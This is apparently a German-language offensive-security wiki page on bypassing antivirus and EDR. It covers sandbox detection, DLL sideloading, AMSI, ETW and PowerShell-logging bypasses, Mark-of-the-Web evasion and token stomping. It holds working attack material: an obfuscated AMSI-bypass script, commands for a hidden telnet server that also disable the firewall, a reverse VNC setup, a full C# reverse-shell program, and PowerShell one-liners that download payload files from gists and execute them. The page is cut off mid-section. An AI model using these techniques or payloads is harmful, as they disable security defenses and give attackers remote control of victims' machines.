Antivirus (AV) Bypass

Reading time: 27 minutes

Diese Seite wurde geschrieben von @m2rc_p!

AV Evasion Methodology

Derzeit verwenden AVs verschiedene Methoden, um zu überprüfen, ob eine Datei bösartig ist oder nicht: statische Erkennung, dynamische Analyse und für die fortschrittlicheren EDRs, Verhaltensanalyse.

Statische Erkennung

Die statische Erkennung erfolgt durch das Markieren bekannter bösartiger Zeichenfolgen oder Byte-Arrays in einer Binärdatei oder einem Skript sowie durch das Extrahieren von Informationen aus der Datei selbst (z. B. Dateibeschreibung, Firmenname, digitale Signaturen, Icon, Prüfziffer usw.). Das bedeutet, dass die Verwendung bekannter öffentlicher Tools dazu führen kann, dass Sie leichter erwischt werden, da sie wahrscheinlich analysiert und als bösartig markiert wurden. Es gibt ein paar Möglichkeiten, diese Art der Erkennung zu umgehen:

• Verschlüsselung

Wenn Sie die Binärdatei verschlüsseln, gibt es keine Möglichkeit für AV, Ihr Programm zu erkennen, aber Sie benötigen eine Art Loader, um das Programm im Speicher zu entschlüsseln und auszuführen.

• Obfuskation

Manchmal müssen Sie nur einige Zeichenfolgen in Ihrer Binärdatei oder Ihrem Skript ändern, um an AV vorbeizukommen, aber dies kann eine zeitaufwändige Aufgabe sein, je nachdem, was Sie obfuskieren möchten.

• Eigene Tools

Wenn Sie Ihre eigenen Tools entwickeln, gibt es keine bekannten schlechten Signaturen, aber das erfordert viel Zeit und Mühe.

Ich empfehle Ihnen dringend, diese YouTube-Playlist über praktische AV-Evasion anzusehen.

Dynamische Analyse

Die dynamische Analyse erfolgt, wenn das AV Ihre Binärdatei in einer Sandbox ausführt und nach bösartiger Aktivität sucht (z. B. versucht, die Passwörter Ihres Browsers zu entschlüsseln und zu lesen, einen Minidump von LSASS durchzuführen usw.). Dieser Teil kann etwas kniffliger sein, aber hier sind einige Dinge, die Sie tun können, um Sandboxes zu umgehen.

• Schlaf vor der Ausführung Je nach Implementierung kann dies eine großartige Möglichkeit sein, die dynamische Analyse von AV zu umgehen. AVs haben sehr wenig Zeit, um Dateien zu scannen, um den Arbeitsablauf des Benutzers nicht zu unterbrechen, daher können lange Schlafzeiten die Analyse von Binärdateien stören. Das Problem ist, dass viele AV-Sandboxes den Schlaf je nach Implementierung einfach überspringen können.
• Überprüfung der Ressourcen des Computers Normalerweise haben Sandboxes sehr wenig Ressourcen zur Verfügung (z. B. < 2 GB RAM), andernfalls könnten sie den Computer des Benutzers verlangsamen. Hier können Sie auch sehr kreativ werden, zum Beispiel indem Sie die CPU-Temperatur oder sogar die Lüftergeschwindigkeiten überprüfen; nicht alles wird in der Sandbox implementiert.
• Maschinenspezifische Überprüfungen Wenn Sie einen Benutzer anvisieren möchten, dessen Arbeitsplatz mit der Domäne "contoso.local" verbunden ist, können Sie eine Überprüfung der Domäne des Computers durchführen, um zu sehen, ob sie mit der von Ihnen angegebenen übereinstimmt. Wenn nicht, können Sie Ihr Programm beenden.

Es stellt sich heraus, dass der Computername der Sandbox von Microsoft Defender HAL9TH ist, also können Sie den Computernamen in Ihrer Malware vor der Detonation überprüfen. Wenn der Name mit HAL9TH übereinstimmt, bedeutet das, dass Sie sich in der Sandbox von Defender befinden, und Sie können Ihr Programm beenden.

Einige andere wirklich gute Tipps von @mgeeky für den Umgang mit Sandboxes

Wie wir bereits in diesem Beitrag gesagt haben, werden öffentliche Tools letztendlich erkannt, also sollten Sie sich etwas fragen:

Wenn Sie beispielsweise LSASS dumpen möchten, müssen Sie wirklich mimikatz verwenden? Oder könnten Sie ein anderes, weniger bekanntes Projekt verwenden, das ebenfalls LSASS dumpen kann.

Die richtige Antwort ist wahrscheinlich Letzteres. Wenn man mimikatz als Beispiel nimmt, ist es wahrscheinlich eines der, wenn nicht das am häufigsten markierte Malware-Stück von AVs und EDRs. Während das Projekt selbst super cool ist, ist es auch ein Albtraum, damit zu arbeiten, um an AVs vorbeizukommen, also suchen Sie einfach nach Alternativen für das, was Sie erreichen möchten.

EXEs vs DLLs

Wann immer es möglich ist, priorisieren Sie die Verwendung von DLLs zur Umgehung. Meiner Erfahrung nach werden DLL-Dateien in der Regel deutlich weniger erkannt und analysiert, sodass es ein sehr einfacher Trick ist, um in einigen Fällen eine Erkennung zu vermeiden (wenn Ihre Payload natürlich eine Möglichkeit hat, als DLL ausgeführt zu werden).

Wie wir in diesem Bild sehen können, hat eine DLL-Payload von Havoc eine Erkennungsrate von 4/26 in antiscan.me, während die EXE-Payload eine Erkennungsrate von 7/26 hat.

Jetzt zeigen wir einige Tricks, die Sie mit DLL-Dateien verwenden können, um viel stealthier zu sein.

DLL Sideloading & Proxying

DLL Sideloading nutzt die von dem Loader verwendete DLL-Suchreihenfolge aus, indem sowohl die Zielanwendung als auch die bösartigen Payload(s) nebeneinander positioniert werden.

Sie können Programme, die anfällig für DLL Sideloading sind, mit Siofra und dem folgenden PowerShell-Skript überprüfen:

Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
}

Dieser Befehl gibt die Liste der Programme aus, die anfällig für DLL-Hijacking in "C:\Program Files\" sind, sowie die DLL-Dateien, die sie zu laden versuchen.

Ich empfehle Ihnen dringend, DLL-hijackbare/sideloadbare Programme selbst zu erkunden. Diese Technik ist ziemlich stealthy, wenn sie richtig durchgeführt wird, aber wenn Sie öffentlich bekannte DLL-sideloadbare Programme verwenden, könnten Sie leicht erwischt werden.

Allein durch das Platzieren einer bösartigen DLL mit dem Namen, den ein Programm erwartet zu laden, wird Ihr Payload nicht geladen, da das Programm einige spezifische Funktionen innerhalb dieser DLL erwartet. Um dieses Problem zu beheben, verwenden wir eine andere Technik namens DLL Proxying/Forwarding.

DLL Proxying leitet die Aufrufe, die ein Programm von der Proxy- (und bösartigen) DLL an die ursprüngliche DLL macht, weiter, wodurch die Funktionalität des Programms erhalten bleibt und die Ausführung Ihres Payloads gehandhabt werden kann.

Ich werde das SharpDLLProxy Projekt von @flangvik verwenden.

Dies sind die Schritte, die ich befolgt habe:

1. Find an application vulnerable to DLL Sideloading (siofra or using Process Hacker)
2. Generate some shellcode (I used Havoc C2)
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)

Der letzte Befehl gibt uns 2 Dateien: eine DLL-Quellcodevorlage und die original umbenannte DLL.

Sowohl unser Shellcode (kodiert mit SGN) als auch die Proxy-DLL haben eine Erkennungsrate von 0/26 in antiscan.me! Ich würde das als Erfolg bezeichnen.

Freeze

Freeze ist ein Payload-Toolkit zum Umgehen von EDRs unter Verwendung von angehaltenen Prozessen, direkten Syscalls und alternativen Ausführungsmethoden

Sie können Freeze verwenden, um Ihren Shellcode auf eine stealthy Weise zu laden und auszuführen.

Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
1. Generate some shellcode, in this case I used Havoc C2.
2. ./Freeze -I demon.bin -encrypt -O demon.exe
3. Profit, no alerts from defender

AMSI (Anti-Malware Scan Interface)

AMSI wurde geschaffen, um "fileless malware" zu verhindern. Zunächst waren AVs nur in der Lage, Dateien auf der Festplatte zu scannen, sodass, wenn du es irgendwie schaffen konntest, Payloads direkt im Speicher auszuführen, der AV nichts tun konnte, um dies zu verhindern, da er nicht genügend Sichtbarkeit hatte.

Die AMSI-Funktion ist in diese Komponenten von Windows integriert.

• Benutzerkontensteuerung oder UAC (Erhöhung von EXE, COM, MSI oder ActiveX-Installation)
• PowerShell (Skripte, interaktive Nutzung und dynamische Codeauswertung)
• Windows Script Host (wscript.exe und cscript.exe)
• JavaScript und VBScript
• Office VBA-Makros

Es ermöglicht Antivirenlösungen, das Verhalten von Skripten zu inspizieren, indem der Skriptinhalt in einer Form offengelegt wird, die sowohl unverschlüsselt als auch nicht obfuskiert ist.

Die Ausführung von IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1') wird den folgenden Alarm bei Windows Defender auslösen.

Beachte, wie es amsi: voranstellt und dann den Pfad zur ausführbaren Datei angibt, von der das Skript ausgeführt wurde, in diesem Fall powershell.exe.

Wir haben keine Datei auf die Festplatte geschrieben, wurden aber trotzdem im Speicher aufgrund von AMSI erwischt.

Darüber hinaus wird ab .NET 4.8 auch C#-Code durch AMSI ausgeführt. Dies betrifft sogar Assembly.Load(byte[]), um die Ausführung im Speicher zu laden. Deshalb wird empfohlen, niedrigere Versionen von .NET (wie 4.7.2 oder darunter) für die Ausführung im Speicher zu verwenden, wenn du AMSI umgehen möchtest.

Es gibt ein paar Möglichkeiten, um AMSI zu umgehen:

• Obfuskation

Da AMSI hauptsächlich mit statischen Erkennungen arbeitet, kann das Modifizieren der Skripte, die du zu laden versuchst, eine gute Möglichkeit sein, um die Erkennung zu umgehen.

Allerdings hat AMSI die Fähigkeit, Skripte zu deobfuskieren, selbst wenn sie mehrere Schichten haben, sodass Obfuskation je nach Ausführung eine schlechte Option sein könnte. Das macht es nicht so einfach, zu umgehen. Manchmal musst du jedoch nur ein paar Variablennamen ändern, und es wird funktionieren, also hängt es davon ab, wie stark etwas markiert wurde.

• AMSI-Umgehung

Da AMSI implementiert ist, indem eine DLL in den PowerShell (auch cscript.exe, wscript.exe usw.) Prozess geladen wird, ist es möglich, damit leicht zu manipulieren, selbst wenn man als unprivilegierter Benutzer läuft. Aufgrund dieses Fehlers in der Implementierung von AMSI haben Forscher mehrere Möglichkeiten gefunden, um die AMSI-Überprüfung zu umgehen.

Einen Fehler erzwingen

Das Erzwingen des Fehlers bei der AMSI-Initialisierung (amsiInitFailed) führt dazu, dass für den aktuellen Prozess kein Scan initiiert wird. Ursprünglich wurde dies von Matt Graeber offengelegt, und Microsoft hat eine Signatur entwickelt, um eine breitere Nutzung zu verhindern.

[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Alles, was nötig war, war eine Zeile PowerShell-Code, um AMSI für den aktuellen PowerShell-Prozess unbrauchbar zu machen. Diese Zeile wurde natürlich von AMSI selbst markiert, daher sind einige Modifikationen erforderlich, um diese Technik zu verwenden.

Hier ist ein modifizierter AMSI-Bypass, den ich aus diesem Github Gist entnommen habe.

Try{#Ams1 bypass technic nº 2
$Xdatabase = 'Utils';$Homedrive = 'si'
$ComponentDeviceId = "N`onP" + "ubl`ic" -join ''
$DiskMgr = 'Syst+@.M£n£g' + 'e@+nt.Auto@' + '£tion.A' -join ''
$fdx = '@ms' + '£In£' + 'tF@£' + 'l+d' -Join '';Start-Sleep -Milliseconds 300
$CleanUp = $DiskMgr.Replace('@','m').Replace('£','a').Replace('+','e')
$Rawdata = $fdx.Replace('@','a').Replace('£','i').Replace('+','e')
$SDcleanup = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $CleanUp,$Homedrive,$Xdatabase))
$Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}

Beachte, dass dies wahrscheinlich markiert wird, sobald dieser Beitrag veröffentlicht wird, also solltest du keinen Code veröffentlichen, wenn dein Plan darin besteht, unentdeckt zu bleiben.

Memory Patching

Diese Technik wurde ursprünglich von @RastaMouse entdeckt und beinhaltet das Finden der Adresse der Funktion "AmsiScanBuffer" in amsi.dll (verantwortlich für das Scannen der vom Benutzer bereitgestellten Eingaben) und das Überschreiben mit Anweisungen, um den Code für E_INVALIDARG zurückzugeben. Auf diese Weise wird das Ergebnis des tatsächlichen Scans 0 zurückgeben, was als sauberes Ergebnis interpretiert wird.

Es gibt auch viele andere Techniken, die verwendet werden, um AMSI mit PowerShell zu umgehen. Schau dir diese Seite und dieses Repo an, um mehr darüber zu erfahren.

Dieses Tool https://github.com/Flangvik/AMSI.fail generiert ebenfalls Skripte, um AMSI zu umgehen.

Entferne die erkannte Signatur

Du kannst ein Tool wie https://github.com/cobbr/PSAmsi und https://github.com/RythmStick/AMSITrigger verwenden, um die erkannte AMSI-Signatur aus dem Speicher des aktuellen Prozesses zu entfernen. Dieses Tool funktioniert, indem es den Speicher des aktuellen Prozesses nach der AMSI-Signatur durchsucht und sie dann mit NOP-Anweisungen überschreibt, wodurch sie effektiv aus dem Speicher entfernt wird.

AV/EDR-Produkte, die AMSI verwenden

Du kannst eine Liste von AV/EDR-Produkten, die AMSI verwenden, in https://github.com/subat0mik/whoamsi finden.

Verwende PowerShell Version 2 Wenn du PowerShell Version 2 verwendest, wird AMSI nicht geladen, sodass du deine Skripte ausführen kannst, ohne von AMSI gescannt zu werden. Du kannst dies tun:

powershell.exe -version 2

PS Logging

PowerShell-Logging ist eine Funktion, die es ermöglicht, alle PowerShell-Befehle, die auf einem System ausgeführt werden, zu protokollieren. Dies kann nützlich für Prüfungs- und Fehlersuchezwecke sein, kann jedoch auch ein Problem für Angreifer darstellen, die eine Erkennung vermeiden möchten.

Um das PowerShell-Logging zu umgehen, können Sie die folgenden Techniken verwenden:

• Deaktivieren der PowerShell-Transkription und des Modul-Loggings: Sie können ein Tool wie https://github.com/leechristensen/Random/blob/master/CSharp/DisablePSLogging.cs zu diesem Zweck verwenden.
• Verwenden Sie PowerShell Version 2: Wenn Sie PowerShell Version 2 verwenden, wird AMSI nicht geladen, sodass Sie Ihre Skripte ausführen können, ohne von AMSI gescannt zu werden. Sie können dies tun: powershell.exe -version 2
• Verwenden Sie eine unmanaged PowerShell-Sitzung: Verwenden Sie https://github.com/leechristensen/UnmanagedPowerShell, um eine PowerShell ohne Abwehrmaßnahmen zu starten (das ist das, was powerpick von Cobalt Strike verwendet).

Obfuscation

Es gibt mehrere Tools, die verwendet werden können, um C#-Klartextcode zu obfuskieren, Metaprogrammierungsvorlagen zu generieren, um Binärdateien zu kompilieren oder kompilierte Binärdateien zu obfuskieren, wie zum Beispiel:

• ConfuserEx: Es ist ein großartiger Open-Source-Obfuskator für .NET-Anwendungen. Es bietet verschiedene Schutztechniken wie Kontrollflussobfuskation, Anti-Debugging, Anti-Manipulation und String-Verschlüsselung. Es wird empfohlen, da es sogar ermöglicht, spezifische Codeabschnitte zu obfuskieren.
• InvisibilityCloak: C#-Obfuskator
• Obfuscator-LLVM: Ziel dieses Projekts ist es, einen Open-Source-Fork der LLVM-Kompilierungssuite bereitzustellen, der eine erhöhte Software-Sicherheit durch Code-Obfuskation und Manipulationssicherheit bietet.
• ADVobfuscator: ADVobfuscator demonstriert, wie man die Sprache C++11/14 verwendet, um zur Kompilierzeit obfuskierten Code zu generieren, ohne externe Tools zu verwenden und ohne den Compiler zu modifizieren.
• obfy: Fügt eine Schicht obfuskierten Operationen hinzu, die durch das C++-Template-Metaprogrammierungs-Framework generiert werden, was das Leben der Person, die die Anwendung knacken möchte, ein wenig schwieriger macht.
• Alcatraz: Alcatraz ist ein x64-Binär-Obfuskator, der in der Lage ist, verschiedene PE-Dateien zu obfuskieren, einschließlich: .exe, .dll, .sys
• metame: Metame ist eine einfache metamorphe Code-Engine für beliebige ausführbare Dateien.
• ropfuscator: ROPfuscator ist ein feinkörniges Code-Obfuskations-Framework für LLVM-unterstützte Sprachen, das ROP (return-oriented programming) verwendet. ROPfuscator obfuskiert ein Programm auf der Ebene des Assemblercodes, indem es reguläre Anweisungen in ROP-Ketten umwandelt und damit unser natürliches Verständnis des normalen Kontrollflusses untergräbt.
• Nimcrypt: Nimcrypt ist ein .NET PE Crypter, der in Nim geschrieben ist.
• inceptor: Inceptor kann vorhandene EXE/DLL in Shellcode umwandeln und sie dann laden.

SmartScreen & MoTW

Sie haben möglicherweise diesen Bildschirm gesehen, als Sie einige ausführbare Dateien aus dem Internet heruntergeladen und ausgeführt haben.

Microsoft Defender SmartScreen ist ein Sicherheitsmechanismus, der dazu dient, den Endbenutzer vor dem Ausführen potenziell schädlicher Anwendungen zu schützen.

SmartScreen funktioniert hauptsächlich mit einem reputationsbasierten Ansatz, was bedeutet, dass ungewöhnlich heruntergeladene Anwendungen SmartScreen auslösen, wodurch der Endbenutzer gewarnt und daran gehindert wird, die Datei auszuführen (obwohl die Datei weiterhin ausgeführt werden kann, indem man auf Weitere Informationen -> Trotzdem ausführen klickt).

MoTW (Mark of The Web) ist ein NTFS Alternate Data Stream mit dem Namen Zone.Identifier, der automatisch beim Herunterladen von Dateien aus dem Internet erstellt wird, zusammen mit der URL, von der sie heruntergeladen wurden.

Eine sehr effektive Möglichkeit, zu verhindern, dass Ihre Payloads das Mark of The Web erhalten, besteht darin, sie in eine Art Container wie eine ISO zu verpacken. Dies geschieht, weil das Mark-of-the-Web (MOTW) nicht auf nicht NTFS-Volumes angewendet werden kann.

PackMyPayload ist ein Tool, das Payloads in Ausgabebehälter verpackt, um das Mark-of-the-Web zu umgehen.

Beispielverwendung:

PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso

+      o     +              o   +      o     +              o
+             o     +           +             o     +         +
o  +           +        +           o  +           +          o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------,      o
:: PACK MY PAYLOAD (1.1.0)       -_-_-_-_-_-_-|   /\_/\
for all your container cravings   -_-_-_-_-_-~|__( ^ .^)  +    +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-''  ''
+      o         o   +       o       +      o         o   +       o
+      o            +      o    ~   Mariusz Banach / mgeeky    o
o      ~     +           ~          <mb [at] binary-offensive.com>
o           +                         o           +           +

[.] Packaging input file to output .iso (iso)...
Burning file onto ISO:
Adding file: /TotallyLegitApp.exe

[+] Generated file written to (size: 3420160): container.iso

Hier ist eine Demo zum Umgehen von SmartScreen, indem Payloads in ISO-Dateien verpackt werden, mit PackMyPayload

ETW

Event Tracing for Windows (ETW) ist ein leistungsstarkes Protokollierungsmechanismus in Windows, das es Anwendungen und Systemkomponenten ermöglicht, Ereignisse zu protokollieren. Es kann jedoch auch von Sicherheitsprodukten verwendet werden, um böswillige Aktivitäten zu überwachen und zu erkennen.

Ähnlich wie AMSI deaktiviert (umgangen) werden kann, ist es auch möglich, die EtwEventWrite-Funktion des Benutzerspeicherprozesses sofort zurückzugeben, ohne Ereignisse zu protokollieren. Dies geschieht, indem die Funktion im Speicher so gepatcht wird, dass sie sofort zurückgibt, wodurch die ETW-Protokollierung für diesen Prozess effektiv deaktiviert wird.

Weitere Informationen finden Sie unter https://blog.xpnsec.com/hiding-your-dotnet-etw/ und https://github.com/repnz/etw-providers-docs/.

C# Assembly Reflection

Das Laden von C#-Binaries im Speicher ist schon seit einiger Zeit bekannt und ist immer noch eine sehr gute Möglichkeit, Ihre Post-Exploitation-Tools auszuführen, ohne von AV erwischt zu werden.

Da die Payload direkt in den Speicher geladen wird, ohne die Festplatte zu berühren, müssen wir uns nur um das Patchen von AMSI für den gesamten Prozess kümmern.

Die meisten C2-Frameworks (sliver, Covenant, metasploit, CobaltStrike, Havoc usw.) bieten bereits die Möglichkeit, C#-Assemblies direkt im Speicher auszuführen, aber es gibt verschiedene Möglichkeiten, dies zu tun:

• Fork&Run

Es beinhaltet das Erzeugen eines neuen opfernden Prozesses, das Injizieren Ihres bösartigen Codes in diesen neuen Prozess, das Ausführen Ihres bösartigen Codes und das Beenden des neuen Prozesses, wenn Sie fertig sind. Dies hat sowohl Vorteile als auch Nachteile. Der Vorteil der Fork-and-Run-Methode besteht darin, dass die Ausführung außerhalb unseres Beacon-Implantatprozesses erfolgt. Das bedeutet, dass, wenn etwas in unserer Post-Exploitation-Aktion schiefgeht oder entdeckt wird, die Wahrscheinlichkeit, dass unser Implantat überlebt, viel größer ist. Der Nachteil ist, dass Sie eine größere Chance haben, von verhaltensbasierten Erkennungen erwischt zu werden.

• Inline

Es geht darum, den bösartigen Code der Post-Exploitation in seinen eigenen Prozess zu injizieren. Auf diese Weise können Sie vermeiden, einen neuen Prozess zu erstellen und ihn von AV scannen zu lassen, aber der Nachteil ist, dass, wenn etwas mit der Ausführung Ihrer Payload schiefgeht, die Wahrscheinlichkeit, dass Sie Ihr Beacon verlieren, viel größer ist, da es abstürzen könnte.

Sie können auch C#-Assemblies aus PowerShell laden, schauen Sie sich Invoke-SharpLoader und S3cur3th1sSh1t's Video an.

Verwendung anderer Programmiersprachen

Wie in https://github.com/deeexcee-io/LOI-Bins vorgeschlagen, ist es möglich, bösartigen Code mit anderen Sprachen auszuführen, indem man der kompromittierten Maschine Zugriff auf die Interpreterumgebung gewährt, die auf dem vom Angreifer kontrollierten SMB-Share installiert ist.

Indem Sie den Zugriff auf die Interpreter-Binaries und die Umgebung auf dem SMB-Share ermöglichen, können Sie beliebigen Code in diesen Sprachen im Speicher der kompromittierten Maschine ausführen.

Das Repo weist darauf hin: Defender scannt weiterhin die Skripte, aber durch die Nutzung von Go, Java, PHP usw. haben wir mehr Flexibilität, um statische Signaturen zu umgehen. Tests mit zufälligen, nicht obfuskierten Reverse-Shell-Skripten in diesen Sprachen waren erfolgreich.

TokenStomping

Token Stomping ist eine Technik, die es einem Angreifer ermöglicht, das Zugriffstoken oder ein Sicherheitsprodukt wie ein EDR oder AV zu manipulieren, wodurch die Berechtigungen reduziert werden, sodass der Prozess nicht abstürzt, aber keine Berechtigungen hat, um nach böswilligen Aktivitäten zu suchen.

Um dies zu verhindern, könnte Windows externe Prozesse daran hindern, Handles über die Tokens von Sicherheitsprozessen zu erhalten.

• https://github.com/pwn1sher/KillDefender/
• https://github.com/MartinIngesen/TokenStomp
• https://github.com/nick-frischkorn/TokenStripBOF

Fortgeschrittene Umgehung

Umgehung ist ein sehr kompliziertes Thema, manchmal müssen Sie viele verschiedene Telemetriequellen in nur einem System berücksichtigen, sodass es ziemlich unmöglich ist, in reifen Umgebungen völlig unentdeckt zu bleiben.

Jede Umgebung, gegen die Sie vorgehen, hat ihre eigenen Stärken und Schwächen.

Ich empfehle Ihnen dringend, diesen Vortrag von @ATTL4S anzusehen, um einen Einblick in fortgeschrittene Umgehungstechniken zu erhalten.

[NcN2k20] Understanding and Hiding your Operations - Daniel L&oacute;pez Jim&eacute;nez

Dies ist auch ein weiterer großartiger Vortrag von @mariuszbit über Umgehung in der Tiefe.

- YouTube

Alte Techniken

Überprüfen, welche Teile Defender als bösartig erkennt

Sie können ThreatCheck verwenden, das Teile der Binärdatei entfernt, bis es herausfindet, welcher Teil von Defender als bösartig erkannt wird und es Ihnen aufteilt.
Ein weiteres Tool, das dasselbe tut, ist avred mit einem offenen Webangebot, das den Dienst in https://avred.r00ted.ch/ anbietet.

Telnet-Server

Bis Windows 10 kam jeder Windows mit einem Telnet-Server, den Sie (als Administrator) installieren konnten, indem Sie:

pkgmgr /iu:"TelnetServer" /quiet

Machen Sie es starten, wenn das System gestartet wird, und führen Sie es jetzt aus:

sc config TlntSVR start= auto obj= localsystem

Ändern Sie den Telnet-Port (stealth) und deaktivieren Sie die Firewall:

tlntadmn config port=80
netsh advfirewall set allprofiles state off

UltraVNC

Laden Sie es herunter von: http://www.uvnc.com/downloads/ultravnc.html (Sie möchten die Binärdownloads, nicht das Setup)

AUF DEM HOST: Führen Sie winvnc.exe aus und konfigurieren Sie den Server:

• Aktivieren Sie die Option Disable TrayIcon
• Setzen Sie ein Passwort in VNC Password
• Setzen Sie ein Passwort in View-Only Password

Verschieben Sie dann die Binärdatei winvnc.exe und die neu erstellte Datei UltraVNC.ini in die Opfer

Reverse-Verbindung

Der Angreifer sollte innerhalb seines Hosts die Binärdatei vncviewer.exe -listen 5900 ausführen, damit sie vorbereitet ist, eine umgekehrte VNC-Verbindung zu empfangen. Dann, innerhalb des Opfers: Starten Sie den winvnc-Daemon winvnc.exe -run und führen Sie winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900 aus.

WARNUNG: Um die Tarnung zu wahren, dürfen Sie einige Dinge nicht tun

• Starten Sie winvnc nicht, wenn es bereits läuft, oder Sie lösen ein Popup aus. Überprüfen Sie, ob es läuft mit tasklist | findstr winvnc
• Starten Sie winvnc nicht ohne UltraVNC.ini im selben Verzeichnis, da dies das Konfigurationsfenster öffnet
• Führen Sie winvnc -h nicht zur Hilfe aus, oder Sie lösen ein Popup aus

GreatSCT

Laden Sie es herunter von: https://github.com/GreatSCT/GreatSCT

git clone https://github.com/GreatSCT/GreatSCT.git
cd GreatSCT/setup/
./setup.sh
cd ..
./GreatSCT.py

Innerhalb von GreatSCT:

use 1
list #Listing available payloads
use 9 #rev_tcp.py
set lhost 10.10.14.0
sel lport 4444
generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole

Jetzt starten Sie den Lister mit msfconsole -r file.rc und führen Sie die xml Payload mit aus:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml

Der aktuelle Defender wird den Prozess sehr schnell beenden.

Unser eigenes Reverse Shell kompilieren

https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15

Erste C# Revershell

Kompiliere es mit:

c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt

Verwenden Sie es mit:

back.exe <ATTACKER_IP> <PORT>

// From https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple_Rev_Shell.cs
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;


namespace ConnectBack
{
public class Program
{
static StreamWriter streamWriter;

public static void Main(string[] args)
{
using(TcpClient client = new TcpClient(args[0], System.Convert.ToInt32(args[1])))
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);

StringBuilder strInput = new StringBuilder();

Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();

while(true)
{
strInput.Append(rdr.ReadLine());
//strInput.Append("\n");
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}

private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();

if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}

}
}

C# unter Verwendung des Compilers

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt

Automatischer Download und Ausführung:

64bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework64\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

32bit:
powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/812060a13e57c815abe21ef04857b066/raw/81cd8d4b15925735ea32dff1ce5967ec42618edc/REV.txt', '.\REV.txt') }" && powershell -command "& { (New-Object Net.WebClient).DownloadFile('https://gist.githubusercontent.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639/raw/4137019e70ab93c1f993ce16ecc7d7d07aa2463f/Rev.Shell', '.\Rev.Shell') }" && C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt Rev.Shell

https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f

C# Obfuskatoren Liste: https://github.com/NotPrab/.NET-Obfuscator

C++

sudo apt-get install mingw-w64

i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

• https://github.com/paranoidninja/ScriptDotSh-MalwareDevelopment/blob/master/prometheus.cpp
• https://astr0baby.wordpress.com/2013/10/17/customizing-custom-meterpreter-loader/
• https://www.blackhat.com/docs/us-16/materials/us-16-Mittal-AMSI-How-Windows-10-Plans-To-Stop-Script-Based-Attacks-And-How-Well-It-Does-It.pdf
• https://github.com/l0ss/Grouper2
• http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html
• http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/

Verwendung von Python für den Bau von Injektoren Beispiel:

• https://github.com/cocomelonc/peekaboo

Andere Werkzeuge

# Veil Framework:
https://github.com/Veil-Framework/Veil

# Shellter
https://www.shellterproject.com/download/

# Sharpshooter
# https://github.com/mdsecactivebreach/SharpShooter
# Javascript Payload Stageless:
SharpShooter.py --stageless --dotnetver 4 --payload js --output foo --rawscfile ./raw.txt --sandbox 1=contoso,2,3

# Stageless HTA Payload:
SharpShooter.py --stageless --dotnetver 2 --payload hta --output foo --rawscfile ./raw.txt --sandbox 4 --smuggle --template mcafee

# Staged VBS:
